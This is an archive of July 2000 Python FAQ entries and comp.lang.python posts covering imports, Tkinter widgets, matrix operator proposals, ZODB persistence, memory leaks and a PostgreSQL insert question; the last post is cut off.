How do I import a file that isn't in the pythonpath?
http://www.faqts.com/knowledge-base/view.phtml/aid/4719
-------------------------------------------------------------
Fiona Czuczman
Mike 'Cat' Perkonigg

The easiest way is to put '.' in your PYTHONPATH.
But you can extend your path with any directory in your python code 
with:

>>>import sys
>>>sys.path.append (path-to-load-modules-from)


-------------------------------------------------------------
Is there a Python module that would allow me to easily parse and format vCards?
http://www.faqts.com/knowledge-base/view.phtml/aid/4720
-------------------------------------------------------------
Fiona Czuczman
Henning Schroeder

The new WorldPilot 1.1alpha contains such a module (file vCard.py)

ftp://demo.worldpilot.com/pub wppocket-1.1.0alpha2.tgz

(see wppocket-1.1.0alpha2.tgz)


-------------------------------------------------------------
Is there anybody who has worked on wbmp converter image from any other format in Python? If yes, where can I find it?
http://www.faqts.com/knowledge-base/view.phtml/aid/4721
-------------------------------------------------------------
Fiona Czuczman
Duncan Booth

Try http://www.rcp.co.uk/distributed/Downloads

The file wbmpconv.zip (1192k) is a command line convertor to/from wbmp 
format (Win32 binary). Alternatively, wbmpconvsrc.zip (8k) contains the 
python sources. The source version requires that you have Python and PIL 
installed on your machine, the binary is completely self contained but a 
bit large as it needs to include the Python and Tk dlls.

Obviously the source version lets you convert to/from any image formats 
supported by PIL, the win32 binary supports:
ARG BMP* CUR DCX EPS* FLI FPX GBR GIF* ICO IM* IMT IPTC JPEG* MCIDAS MIC 
MPEG MSP* PCD PCX* PIXAR PNG* PPM* PSD SGI SUN TGA TIFF* WBMP* WMF XBM* 
XPM XVTHUMB (the ones with a * may be read or written, the other formats 
may only be read).


-------------------------------------------------------------
What is UnboundLocalError for?
http://www.faqts.com/knowledge-base/view.phtml/aid/4722
-------------------------------------------------------------
Fiona Czuczman
Tim Peters

When a local name is referenced but has not been bound to a value.  In 
other words, it's an unbound local error <wink>.  Note that 
UnboundLocalError is a subclass of NameError, because it's a more 
specific form of NameError, so old code expecting to catch NameError 
exceptions will still catch UnboundLocalError exceptions.  In 1.5.2 and 
before, NameError was thrown regardless of whether the offending name 
was local or global.  So UnboundLocalError gives more information.

> I encountered it when I made a mistake like this:
>
> >>> f()
> Traceback (most recent call last):
>   File "<stdin>", line 1, in ?
>   File "<stdin>", line 1, in f
> UnboundLocalError: l
> >>>

So your function f (which you have not shown us) refers to a local name 
"l" which you didn't give a value before referencing it.  It's 
impossible for us to guess what you put in the body of f; here's one 
possibility:

>>> def f():
...     l = l + 1   # local "l" referenced on the right before 
definition
...     return l
...
>>> f()
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
  File "<stdin>", line 2, in f
UnboundLocalError: l
>>>


## Edited Entries ##############################################


-------------------------------------------------------------
What is wxPython? How does it compare with Tkinter?
http://www.faqts.com/knowledge-base/view.phtml/aid/3565
-------------------------------------------------------------
Fiona Czuczman, Olivier Dagenais
Shae Erisson,http://www.lpthe.jussieu.fr/~zeitlin/wxWindows/docs/wxwin465.htm#wxpother

wxPython [ http://www.wxpython.org ] is a set of Python bindings for 
the GUI toolkit wxWindows [ http://www.wxwindows.org ], that was 
written as a C++ library to provide a platform-independant way of 
implementing rich and fast user interfaces.

-----------------------------------------------------

I chose wxPython over Tkinter (for my projects) because:
- wxWindows seems to have more widgets than Tk
- special widgets (like the TreeView) are implemented using the 
operating system's native implementations, not complete re-writes
- it's more than a "lowest common denominator" among platforms, 
wxWindows seeks to provide the same, advanced functionality on all 
platforms, even if it means they have to write a lot of code to 
complement a platform's native component
- wxWindows seems to cover more ground, in terms of functionality (it's 
more than a GUI toolkit, it also seeks to provide functions/classes for 
files, threads, printing, clipboard, networking, ODBC, etc...)
- I was *really* impressed with the wxPython demo

-----------------------------------------------------

The wxWindows documentation emphasizes the "less good" points of other 
GUI toolkits (namely Tkinter) to motivate wxPython:

http://www.lpthe.jussieu.fr/~zeitlin/wxWindows/docs/wxwin465.htm#wxpothe
r


-------------------------------------------------------------
Should __getattr__ increment the reference count before it returns the appropriate attribute, or not? writing a Python module in C
http://www.faqts.com/knowledge-base/view.phtml/aid/2907
-------------------------------------------------------------
Fiona Czuczman
Gordon McMillan

It should incref the attribute and leave the owner alone.

Imagine a sequence like this:
 newref = a.b # here's your __getattr__
 a = None
Now a's refcount drops. If it drops to 0, it gets deallocated, which 
will decref b. Without an incref in __getattr__, the user would have 
an invalid reference.


-------------------------------------------------------------
How do I check to see if a file exists?
http://www.faqts.com/knowledge-base/view.phtml/aid/2782
-------------------------------------------------------------
Fiona Czuczman
Fredrik Lundh,Peter Schneider-Kamp

To check if a file exists use:

>>> import os.path
>>> os.path.exists("python/")
1
>>> os.path.exists("spam/")
0
>>> os.path.exists("python/patches/submitted/array.pop-extend.patch")
1

If you only want a true for regular files have a look at isfile():

>>> os.path.isfile("python/")
0
>>> os.path.isfile("spam/")
0
>>> os.path.isfile("python/patches/submitted/array.pop-extend.patch")

for more info or other function look at:
http://python.org/doc/current/lib/module-os.path.html






From walter111 at structurex.net  Sun Jul 30 04:14:59 2000
From: walter111 at structurex.net (walter hanagriff)
Date: Sun, 30 Jul 2000 03:14:59 -0500
Subject: not stopping til it works
Message-ID: <3983E403.36183DF8@structurex.net>

before i go on, one thing to say, i do not have the money to buy a book
right now, otherwise i would, it would be great to actually be able to
read a good tutorial on tkinter at almost any price, just saying since i
did get that suggestion once
i have tried so many ways to get what i want to work, and getting
nowhere, its definitely not from lack of trying and patience that keeps
me asking the same questions, though if i ever get these 2 answered it
will be all for awhile i am sure
i wont give up though so i have simplified the problem as much as
possible, the only problems so far that i know of
i have these 2 entry fields, how do i get any info that a person puts
into them
i tried using textvariable but i cant get it to work, and i tried using
the get method with entry widget, but neither of these 2 things work

next, how do i get that info to work with the pow() function, ex. the
user inputs 3 in box 1 and 2 in box 2, i get those numbers and show on
the screen this:
first entry, " to the power of ", second entry, " = ", first
entry**second entry
actually it should look like this, "3 to the power of 2 = 9"
i next want it so that when pressed, button will make this info appear
in the frame
or any better ideas for showing the answer?
unfortunately i can do very little testing to see how to make the button
work since i have a hard enough time getting there because of the first
problem, but in test i have given predefined numbers to print out and
tried using the button to show them and i tried not packing the label
til i pressed button, or tried calling a def when i press button but no
matter what the label prints out along with entry fields, before i even
press the button and pressing button does nothing, when i dont even get
an error from something

def power(self, frame):
    Entry(frame, width = 10).pack()
    Entry(frame, width = 10).pack()
    Button(frame, text = 'Get answer').pack(side = LEFT)




From dcalvelo at pharion.univ-lille2.fr  Tue Jul 25 15:36:25 2000
From: dcalvelo at pharion.univ-lille2.fr (Calvelo Daniel)
Date: 25 Jul 2000 19:36:25 GMT
Subject: Reading a file
References: <m2g0oy80y9.fsf@pnorthover.freeserve.co.uk>
Message-ID: <8lkq7p$1gj$1@netserv.univ-lille1.fr>

Tim Northover <tim at pnorthover.freeserve.co.uk> wrote:
: I'm attempting to read a file line by line with readline(), but it
: seems to return and empty string when EOF is encountered. Is there a
: way of discerning the difference between the end of the file and a
: blank line in the file?

An empty line is never empty: it has \n or \r or both.

: I'm very new to this so I don't know the methods used but I couldn't
: find anything relevant when grepping the html docs.

http://www.python.org/doc/FAQ.html

Entry 6.30

HTH -- DCA

-- Daniel Calvelo Aros
     calvelo at lifl.fr


From peter at schneider-kamp.de  Tue Jul 11 18:51:16 2000
From: peter at schneider-kamp.de (Peter Schneider-Kamp)
Date: Tue, 11 Jul 2000 22:51:16 +0000
Subject: kjbuckets
References: <8kflcs$8qv$1@einstein.ebicom.net>
Message-ID: <396BA4E4.2C221BD7@schneider-kamp.de>

gene at ozob.net wrote:
> 
> I am trying to install a program call routeplanner which requires
> kjbuckets which appears to be an extension of python. Kjbuckets docs say
> to read the python extension manual to learn how to compile kjbuckets into
> pythons. However I can seem to locate this document.
> 
> I would appreciate if someone would give me a clue.

It should be part of the documentation that comes with python. In
any case you can find it at the Python website (http://www.python.org)
under "Documentation" and "Extending and Embedding"
(http://www.python.org/current/ext/ext.html).

Hope that helps,
Peter
--
Peter Schneider-Kamp          ++47-7388-7331
Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
N-7050 Trondheim              http://schneider-kamp.de



From fplancke at my-deja.com  Wed Jul 19 13:46:21 2000
From: fplancke at my-deja.com (Frédéric van der Plancke)
Date: Wed, 19 Jul 2000 17:46:21 GMT
Subject: Python-dev summary: July 1-15
References: <20000718100813.C21354@newcnri.cnri.reston.va.us> <u8zuzp0n7.fsf@ctwd0143.fitlinxx.com> <3974E8CD.55215FD9@inrialpes.fr>
Message-ID: <8l4ph6$vj$1@nnrp1.deja.com>

In article <3974E8CD.55215FD9 at inrialpes.fr>,
  Vladimir.Marangozov at inrialpes.fr wrote:

> [...] the python-dev members are looking for feedback. For instance,
> read the PEP documents -- they summarize recent and past proposals for

Sorry I'm dense, but where can I find that ? Where can I find PEP
documents ?

It's bad it's so hard, hard, hard to find current information about
Python on the web starting from would-be obvious points.
(Exercise: starting from www.python.org/, find anything "mainstream"
about Python 2, or "Python-dev" ... :-( )
(By "mainstream" I mean something like "What's new in Python 2.0" -
yes I eventally was lucky enough to get a hand on that one -- or
"table of PEP documents/proposals/..." -- these items are still
wanted, if they exist.)

Web links on the www.python.org main page (or equivalent)
would be fine.

--
Frederic van der Plancke
e-mail address: reverse and add dot-at-dot to:
      <com writeme vdplancke frederic>
(I don't read <fplancke at my-deja.com> regularly.)


Sent via Deja.com http://www.deja.com/
Before you buy.


From milenko at moonshine.co.uk  Sat Jul 22 08:47:20 2000
From: milenko at moonshine.co.uk (Jack)
Date: 22 Jul 2000 12:47:20 GMT
Subject: Newbie pythoner, with bizzare problem
References: <8F79257Amilenkomoonshinecouk@194.73.73.116> <m33dl2o39d.fsf@atrus.jesus.cam.ac.uk>
Message-ID: <8F7985804milenkomoonshinecouk@194.73.73.116>

>5 gets you 7 that you have added a 
>
>from os import *
>
>to your script.
>
>Don't do that.
>

Thats exactly right, and is there any way i can access the os library then 
without everything going mad-whack.

Cheers,

Jack


From anamax at earthlink.net  Sun Jul 16 16:10:36 2000
From: anamax at earthlink.net (Andy Freeman)
Date: Sun, 16 Jul 2000 20:10:36 GMT
Subject: Funding vs Python
Message-ID: <8kt4rj$d4n$1@nnrp1.deja.com>

I was tired of hearing a friend talk about how wonderful Python is,
so I decided to learn Python by using it to implement a product that
the official implementation team thought would take experts 1-2 man
years using numerous Java buzz-words.  A month later, I'm still a
Python newbie, but I'm close enough to done that I'm looking at
the rev 2 feature list.  (The experts are still trying to hire
but are going to start any day because other folks like running
code more than they like plans.)

No good deed goes unpunished, so now I'm getting push back along the
lines of "we can't get funded if it's in Python".  (Somehow, I don't
think that using Perl would have produced the same reaction.)

I've seen the list of web projects at python.org, so I'm wondering
if there are others or if there really are examples of companies that
didn't get funded because they used Python.

-andy


Sent via Deja.com http://www.deja.com/
Before you buy.


From johngrayson at home.com.bbs  Sat Jul 15 14:30:04 2000
From: johngrayson at home.com.bbs (johngrayson at home.com.bbs)
Date: 15 Jul 2000 18:30:04 GMT
Subject: Tkinter?
Message-ID: <3bPgJS$jrv@openbazaar.net>

In article <Ep0c5.24126$6y5.18334880 at news2.rdc2.tx.home.com>,
  "David L. Heald Jr." <blinocac1 at home.com> wrote:
> I'm writing a script that will act as a GUI interface to another
script, and
> I want to have file browsing ability. How do I call this in Tkinter?
I have
> looked through 2 different books, and a couple of help files and have
yet to
> find anything.
>
>

This is not really a Tkinter issue, since you can fire up a
file browser window from a simple Python program. However, it
may introduce some special problems if you're doing it from
a GUI. Therefore, here is some sample code to illustrate how
to do this for Windows and Solaris platforms. You would have
to adjust for other platforms. Note that if you're doing this
just for Unix, that you don't need to thread: you can just
fire off the command in the background...

from Tkinter import *
from tkSimpleDialog import *
import sys, os, thread


class App:
    def __init__(self, master):
        self.master = master
        Label(master, text='Browsing:').pack(side=LEFT,
                                             padx=4, pady=15)
        self.entry  = StringVar()
        Entry(master, width=50, bg='gray', textvariable=self.entry,
              state=DISABLED).pack(side=LEFT, padx=15, pady=15)
        Button(master, text='Browse...',
               command=self.browse).pack(side=BOTTOM)

    def browse(self):
        path  = askstring("Browse", "Enter directory")
        self.entry.set(path)

        browser = Browse(folder=path)

class Browse:
    def __init__(self, folder='.'):
        if sys.platform == 'win32':
            cmd = 'Explorer %s' % folder
        else:
            cmd = 'dtfile -folder %s' % folder
        thread.start_new_thread(self.doIt, (cmd,))

    def doIt(self, where):
        os.system(where)


root = Tk()
display = App(root)
root.mainloop()

Hope this helps to get you started.

BTW: Chapter 18 of Python and Tkinter Programming covers
handling asynchronous events and things that block the
mainloop...

    John Grayson


Sent via Deja.com http://www.deja.com/
Before you buy.


From bjorn at roguewave.com  Mon Jul 17 20:03:58 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Mon, 17 Jul 2000 18:03:58 -0600
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators 
 for   matrix computation)
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <3973415D.5262CD86@eecis.udel.edu> <39735013.1AE68176@roguewave.com> <slrn8n6l4p.qp.hzhu@rocket.knowledgetrack.com> <39735D6E.8E3349D9@roguewave.com> <slrn8n6oji.sf.hzhu@rocket.knowledgetrack.com>
Message-ID: <39739EEE.D53D9601@roguewave.com>

Huaiyu Zhu wrote:
[snip]
> The morale of the arguement is: requiring every syntax to be useful in every
> domain is too extreme and not quite useful.  But considering exactly what
> the domain is and exactly how it might be used may help.

I think you hit the crux of the problem. You want to add syntax that is
only useful in one domain, and that is too extreme.

Why don't you create a preprocessor that converts

  a .* b

into

  elementWiseMultiply(a,b)

and create an appropriate suffix for your matlab/python files (mpy?)
It's a pretty easy thing to do, and sounds much more appropriate in this
situation.

-- bjorn



From blinocac1 at home.com.bbs  Thu Jul 13 14:10:03 2000
From: blinocac1 at home.com.bbs (blinocac1 at home.com.bbs)
Date: 13 Jul 2000 18:10:03 GMT
Subject: Compiling Python
Message-ID: <3bOEgR$lvu@openbazaar.net>

Well I found a P2C translator, but I've yet to test it. If it works I'll
post the url.
"Nicholas Cloy" <nick at ex-inferis.freeserve.co.uk> wrote in message
news:Bj4b5.889$O47.17397 at news6-win.server.ntlworld.com...
> I downloaded the installer at
> http://www.faqts.com/knowledge-base/view.phtml/aid/3111/fid/244/lang/ but
> the program executes in a msdos window, is there anyway to compile a
python
> script into an file ythat will run in a windows 98 gui?
>
> --
> _________
>
>      Nick at ex-inferis.freeserve.co.uk
>      Icq no 69088298
>                 _________________________
> "Ahmed Ahmed" <tttok_2000 at yahoo.com> wrote in message
> news:20000711054522.28720.qmail at web3406.mail.yahoo.com...
> > Look here
> > http://www.faqts.com/knowledge-base/view.phtml/aid/3111/fid/244/lang/
> >
> > --- "David L. Heald Jr." <blinocac1 at home.com> wrote:
> > > Yeah, the latter. I like Python, but I'm interested
> > > in taking my programs
> > > with me to other computers that don't have python.
> > > "Dennis Lee Bieber" <wlfraed at ix.netcom.com> wrote in
> > > message
> > > news:9m5lms0bt9fhiir6c2vju9ti4hvvv473kb at 4ax.com...
> > > > On Mon, 10 Jul 2000 21:29:09 GMT, "David L. Heald
> > > Jr."
> > > > <blinocac1 at home.com> declaimed the following in
> > > comp.lang.python:
> > > >
> > > > > Does anyone know if there is a compiler
> > > available anywhere for python
> > > for
> > > > > win32?
> > > > >
> > > > Pardon?
> > > >
> > > > A compiler with which to build Python from source,
> > > or
> > > >
> > > > A compiler which builds native executables from
> > > Python programs?
> > > >
> > > >
> > > > For the latter, I don't think one exists on any
> > > platform --
> > > > freeze may be the closest equivalent (as I recall,
> > > not having used it,
> > > > it embeds Python byte-code into a binary with the
> > > Python interpreter).
> > > >
> > > > For the former... I think folks are working on
> > > getting the
> > > > downloadable Borland C to compile it, the M$ VC
> > > should handle it with no
> > > > problems, and gcc probably can manage it.
>
>
>


From johngrayson at home.com  Thu Jul 20 08:35:42 2000
From: johngrayson at home.com (John Grayson)
Date: Thu, 20 Jul 2000 12:35:42 GMT
Subject: 2 tkinter questions
References: <3976B061.617CACB0@structurex.net>
Message-ID: <8l6rmt$h1a$1@nnrp1.deja.com>

In article <3976B061.617CACB0 at structurex.net>,
  walter hanagriff <walter111 at structurex.net> wrote:

One answer:

   You *are* using Tkinter variables, aren't you?


def power(self, frame):

    self.ivar1 = StringVar()
    self.ivar2 = StringVar()

    entry1 = Entry(frame, width = 10, textvariable = self.ivar1)
    entry1.pack()
    entry2 = Entry(frame, width = 10, textvariable = self.ivar2)
    entry2.pack()

    iv1 = ivar1.get() ; iv2 = ivar2.get()


Sent via Deja.com http://www.deja.com/
Before you buy.


From akuchlin at mems-exchange.org  Mon Jul 31 13:27:12 2000
From: akuchlin at mems-exchange.org (Andrew Kuchling)
Date: 31 Jul 2000 13:27:12 -0400
Subject: [3rd Draft] Open Letter to CNRI: Request for clarification
References: <39816303.C808D05A@nowonder.de> <39852224.FE658DC5@nowonder.de> <398763f2.270509351@news.online.no>
Message-ID: <3du2d6gqhb.fsf@kronos.cnri.reston.va.us>

thomas at cintra.no (Thomas Weholt) writes:
> slows down the development-cycle of Python. The longer it takes for a
> beta to get into users hands the longer it takes before bugs are found
> and removed. Longer time to wait for a stable release of Python 2.0.
> And I cannot get my hands on that sweet baby quick enough!! :->

Note that you can still grab a copy of the current CVS tree and try it
out, if you're that enthusiastic about it.  Playing with the CVS
version is valuable because any errors you find can be corrected
without hundreds of people finding them in an official beta, which
causes a certain proportion of duplicated or unhelpfully vague
reports.

--amk


From jlecomte at ifrance.com  Wed Jul 19 09:12:21 2000
From: jlecomte at ifrance.com (=?iso-8859-1?Q?J=E9r=F4me_Lecomte?=)
Date: Wed, 19 Jul 2000 14:12:21 +0100
Subject: Python et Question sur Linux
References: <8l43gh$j3u$1@broadway.news.is-europe.net>
Message-ID: <8l4671$n5t$1@broadway.news.is-europe.net>

I am confused. The message ended up in the wrong box by mistake. Boy,
I'm glad there was nothing personal or bad (or both) there ! Accept my
appologies :-)

J?r?me.

"J?r?me Lecomte" <jlecomte at ifrance.com> wrote in message
news:8l43gh$j3u$1 at broadway.news.is-europe.net...
> Salut,
>
> J'ai commenc? ? regarder Python. Ca a l'air vraiment bien (plus
facile
> et plus clair que Perl et mieux int?gr? avec le reste du monde que
> tout ce que j'ai vu jusqu'a pr?sent). Tu connais ?
>
> Mon fr?re envisage d'installer Linux sur son PC (266Mhz) pour
> programmer. Il faut compter combien de DD pour ?tre confortable.
500Mo
> peut faire l'affaire, ou il faut 1Go min.
>
> J?r?me.
>



From m.faassen at vet.uu.nl  Mon Jul 10 11:43:12 2000
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 10 Jul 2000 15:43:12 GMT
Subject: POOP / Python (Object Oriented Persistence) ?
References: <002001bfea62$21eabdf0$f0c809c0@lslp7o.lsl.co.uk>
Message-ID: <8kcqug$p32$1@newshost.accu.uu.nl>

"Tony J Ibbs (Tibs)" <tony at lsl.co.uk> wrote:
> Martijn Faassen explained that Zope does indeed do most of the things I'd
> mentioned, and then:
>> > persistence over LARGE networks, etc.
>>
>> What would this mean?

> One of the interests of the people in Glasgow is how one copes with data
> that may be distributed over many computers. This includes issues such as
> how do you fallback to another copy of the data, how do you decide
> whether/when to cache locally, and if so when to update, etc.

Zope's ZEO is going into this area. I haven't looked at it myself, but
basically you can cluster several copies of the ZODB together. In the
case of ZEO there's the case of a single point of failure (the central
front-end machine), however. But ZEO is definitely very cool. Not a lot
of code either from what I've seen.

> Since they
> also store the program code in the store, this also means sharing software
> over the network as well.

Right, I don't think ZEO has looked into this yet. You'd have to have your
Zope products (or in case of raw use of the ZODB, python classes) installed
on all servers for it to work. Since Zope is fairly componentized and
part of a Zope Web App tends to be in DTML and is in the ZODB already 
(with more Python moving into the ZODB too), this doesn't seem to be
a large project just yet.

> In todays emphasis on shared services over the
> net, a lot of this begins to sound remarkably prescient.

Definitely! When did this research take place?

> It's often regarded as one of those "we'll worry about that later" problems,
> since people expect to be working on a local store, but thinking about it
> earlier can have interesting insights into what one should be *doing*
> locally (and as soon as one has two users on two systems sharing stuff, the
> slippery slope has started). But it did seem to be a *difficult* problem,
> conceptually as well as practically.

Agreed that it's important, agreed that it's difficult. Luckily Zope has
Jim Fulton. :) Again, ZEO is a remarkably small amount of code.

> But I *know* I don't understand the field, so I'll shut up straight away
> about it...

I don't understand the field either, so let's babble on. Perhaps we'll
learn something. :)

>> Do you still think what the ZODB does is much
>> different from what you're describing?

> Erm, no, it sounds like I need to find some excuse to find out more about
> Zope, instead! (damn, another worthwhile thing to learn about).

This article by Andrew Kuchling may be interesting, if you're just interested
in the ZODB and ZEO by itself:

http://starship.python.net/crew/amk/python/writing/zodb-zeo.html

Regards,

Martijn
-- 
History of the 20th Century: WW1, WW2, WW3?
No, WWW -- Could we be going in the right direction?


From hzhu at localhost.localdomain  Thu Jul 13 17:23:28 2000
From: hzhu at localhost.localdomain (Huaiyu Zhu)
Date: Thu, 13 Jul 2000 21:23:28 GMT
Subject: Discussion: Introducing new operators for matrix computation
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <396E160D.272C0C34@roguewave.com>
Message-ID: <slrn8msd14.sj.hzhu@localhost.localdomain>

On Thu, 13 Jul 2000 13:18:37 -0600, Bjorn Pettersen <bjorn at roguewave.com>
wrote: 

>It seems like you're trying to create a special purpose language here.
>Ie. I don't see it as general enough to be worth putting into the core
>unless you can come up with other use cases... Personally, I would much
>prefer the ability to overload the relational operators (individually,
>not through __cmp__).

This is not a call for a special language for matrix only.  But we do need
enough binary operators to override with.  The additional operators might be
useful at other places as well.

In matlab the following operations are all different from each other

a+b        a.+b  
a-b        a.-b
a*b        a.*b
a/b        a./b
a\b        a.\b
a^b        a.^b

What python operators can we override for them all? Just one additional
symbol for so many new binary operators is a good bargain, IMO.

I think cleanness is one of the main virtue of python, but it is lacking in
numerical computation.  To give an example of the difference it makes, I'll
quote from my original post asking for matrix in python (with corrections)

[in octave we write]
> b = X\y                  # LMS solution of a linear equation y = X*b
> b = (X'*X)\(X'*y)        # or written out in more details
> b = inv(X'*X)*(X'*y)     # or in a less efficient form.
> 
> but the corresponding Python notation is horrendous:
> 
> b = matrixmultiply(inverse(matrixmultiply(transpose(X), X)), 
>     (matrixmultiply(transpose(X), y[:,NewAxis])))


Doesn't this look like the other p language or lisp?  Well, my original post
missed two parentheses and two matrixmultiply's and nobody even noticed it.
If one cannot even write X\y in one line, think about how to write a typical
formula like

B = inv(A) - A\U/(C+V/A*U)*V/A


Huaiyu


From wizard at eznet.net.bbs  Mon Jul 17 21:10:01 2000
From: wizard at eznet.net.bbs (wizard at eznet.net.bbs)
Date: 18 Jul 2000 01:10:01 GMT
Subject: OT: RedHat 6.1 (was Re: newbie unimpressed...)
Message-ID: <3bRVdR$kXm@openbazaar.net>

In article <8l047h$6ag$1 at slb6.atl.mindspring.net>, aahz at netcom.com (Aahz
Maruch) wrote:

> In article <unKc5.1423$6E.266474 at ptah.visi.com>, Grant Edwards
> <ge at nowhere.none> wrote:
>>In article <8kvqqb$8e5$1 at nntp9.atl.mindspring.net>, Aahz Maruch wrote:
>>>In article <8kvp81$9q1$1 at nnrp1.deja.com>,  <sharkey3 at my-deja.com>
>>>wrote:
>>>>
>>>>(I'm using python 1.5.1 on Redhat 5.2)
>>>
>>>I strongly recommend upgrading to Python 1.5.2.  The documentation is
>>>much better, for starters.
>>
>>FWIW, RH 5.2 is getting a bit old also.  I couldn't recommand
>>6.[01], but 6.2 seems to be decent.
>
> What's wrong with 6.1?  (We upgraded a few months back, mainly to get
> 1.5.2, and I'd like to know if there's a serious reason we should move
> to 6.2.)

I don't know if you would consider this serious or not; but 6.2 as a whole is a vast improvement over 6.1.    Well maybe not
vast but it certainly is the best bug fix release that I've seen.    The only unfortunate thing is that you have to be careful with
the Kernel Updates.
> --
>                       --- Aahz (Copyright 2000 by aahz at netcom.com)
>
> Androgynous poly kinky vanilla queer het    <*>
> http://www.rahul.net/aahz/ Hugs and backrubs -- I break Rule 6
>
> Q:  In a lesbian relationship, who decides who gets to be the man? A:
> It's two women.  There is no man.  That's the point.


From thantos at chancel.org  Mon Jul 24 22:55:59 2000
From: thantos at chancel.org (Alexander Williams)
Date: Tue, 25 Jul 2000 02:55:59 GMT
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <slrn8nhndr.qn.hzhu@rocket.knowledgetrack.com> <m2wvifm2bd.fsf@spiff.home.com> <slrn8nnhkb.2qi.hzhu@localhost.localdomain> <m2bsznl3n0.fsf@spiff.home.com> <slrn8nprct.3i1.hzhu@rocket.knowledgetrack.com>
Message-ID: <slrn8nq0du.jh.thantos@brimstone.mecha>

Well, if I'm feeling Haskellish (and I am), I might suggest `op` as a
generalized method of converting a function from prefix op(x,y) to 
"x `op` y".  This begs the question of what to do with multi-argument
functions since Python doesn't support currying to the degree Haskell
does.  Still, for binary functions (/any/ binary functions), it works
as well as any of the current proposals and is easily generalizable.
That is:

Assuming you have instance x of class X, possessing method mult, you
can do "x2 `x.mult` y" and it converts logically to "x.mult(x2,y)".
Yes, its syntactic sugar, but it's keen anyway.

(Am I the only one that thinks the question of how to impliment Matrix
stuff is, at heart, goofy, and stems from some mathematicians being
too lazy to do it the OO way, which would be to give the Matrix class
an eMult method to do element-wise multiplication and which checks the
type its given to make sure its sensical before returning an instance
of Matrix with the proper values?  Yes, the syntax looks like:

>>> mRes = m1.eMult(m2)

... but its syntactically clean, doesn't require any jibber-jabber
with the core interpreter, and works.  Could Python make use of type
dispatch mechanisms?  Probably, bjut get the Types-SIG to produce a
typeful proposal for Python before you leap on it.  I'd rather have
real function currying supported internally than type dispatch.  Could
I make use of the ability to make any sequence of characters into an
infix operator?  Probably, but its a lot less important than other
things to me.)

-- 
Alexander Williams (thantos at gw.total-web.net)           | In the End,
  "I think sex is better than logic,                    | Oblivion
   but I can't prove it."                               | Always
  http://www.chancel.org                                | Wins


From olczyk at interaccess.com  Mon Jul 10 13:49:41 2000
From: olczyk at interaccess.com (Thaddeus L. Olczyk)
Date: Mon, 10 Jul 2000 17:49:41 GMT
Subject: Microsoft's  C# (Sharp) & .NET -- A Heads Up
References: <qJ165.8938$nZ5.153196@typhoon.southeast.rr.com> <395a7440.132798875@nntp.interaccess.com> <39597A25.8BF553C@san.rr.com> <slrn8lj56i.l52.thomas@centurion.xs4all.nl> <395d728e.117049078@nntp.interaccess.com> <395E05CD.E38F642C@webamused.com> <396b3f42.316716812@nntp.interaccess.com> <Q4da5.125085$WS3.1096765@typhoon.we.rr.com>
Message-ID: <396c0bf6.369120718@nntp.interaccess.com>

On Mon, 10 Jul 2000 05:22:56 GMT, "Stephen Hansen"
<stephen at cerebralmaelstrom.com> wrote:

>BTW, i'm sorry if i'm oversnipping, but i'm only commenting to a certain
>portion of this...
>
>Your example is invalid because they still kept the same script and just
>redesigned it a bit...
Uhm. No. The original was a serious story about the difficulties a
robot cop had integrating into a human police force. The rewritten
was a comdey. Charaters were renamed some were added some were
changed. Descriptions were changed. Plot elements were removed
others were added. In other words the two were as similar as
"Romeo and Juliet" and "West Side Story".
>
>If Microsoft took Java code, named it Mocha, and altered the API's and a few
>other ways that it worked, Sun would win a suit. If Microsoft took the
>CONCEPT of the Language, and made their /entire own language/ around the
>/idea/ of it, then they havn't /copied/ anything. You can't copyright a
>'concept' or an 'idea'. You can copyright your perticular application of
>said idea or concept.
Class A moron. Read some verdicts and get a clue. Yes you can.


From Norman_Shelley-RRDN60 at email.sps.mot.com  Fri Jul 14 10:50:09 2000
From: Norman_Shelley-RRDN60 at email.sps.mot.com (Norman Shelley)
Date: Fri, 14 Jul 2000 07:50:09 -0700
Subject: Forum: comp.lang.python
 	 >> Thread: Memory leak: assigning function object to instance
 	 variable 
 	 >> Message 1 of 18
 Save this thread
 back to search results
 	 Subject:
 	         Re: Memory leak: assigning function ?Neil Schemenauer's GC 
 patch in python1.6?
Message-ID: <396F28A1.A181BF39@email.sps.mot.com>

Is Neil Schemenauer's GC patch scheduled to be in python1.6?

I'm currently getting hit with huge memory leaks probably due to
circular references. Even after going through and removing the most
obvious ones it has helped only a little.  Having to design programs and
algorithms with reference counting in mind is just as bad as having to
remember to remember to use free() when in C or C++. Python must be
better than it  currently is in order to sell it to others   who have
not yet seen the light.






From medved55 at greenbay.usa.com  Wed Jul 26 23:30:32 2000
From: medved55 at greenbay.usa.com (Alex)
Date: Thu, 27 Jul 2000 03:30:32 GMT
Subject: Beginning
Message-ID: <8loacq$n81$1@nnrp1.deja.com>

 hi everybody!
I just begin to study programming and one friend of mine advised to me
to start with the Python language. I find it interesting.
If anybody know good Internet links to Python sources, please send it
here. Also any good advice for beginner will be appreciated.
If you a beginner and would like to exchange ideas and experience about
programming on Python e-mail me medved55 at greenbay.usa.com.  Profy
welcome too.
Thank you.
Alex


Sent via Deja.com http://www.deja.com/
Before you buy.


From tsmets at altern.org  Thu Jul 27 19:39:34 2000
From: tsmets at altern.org (Thomas SMETS)
Date: Thu, 27 Jul 2000 23:39:34 GMT
Subject: inserting integer in Table
References: <397CEEA4.7683A17@altern.org>
Message-ID: <3980E1B9.30D49461@altern.org>


Well Roland,

didn't work at my place ...
I reCREATED a similar table with  a column defined as int4 & bearing the
name pk.
<snip>
tsmets=> create table TESTPYTHON
tsmets-> ( pk integer, filename varchar(99), file bytea );     
</snip>

I couldn't insert a simple integer with you command :
        i = 0
        conn.query("insert into TESTPYTHON pk values ( %s );" % i)


Exception thrown is :
<snip>
Traceback (innermost last):
  File "insertBlobs.py", line 15, in ?
    conn.query("insert into TESTPYTHON (pk) values ( %s );" % i)
pg.error: ERROR:  Relation 'testpython' does not have attribute 'pk'    
</snip>

Shouldn't I use %i or something like that instead of %s ?

Tx,

Thomas,





================================
Thomas SMETS wrote:
> 
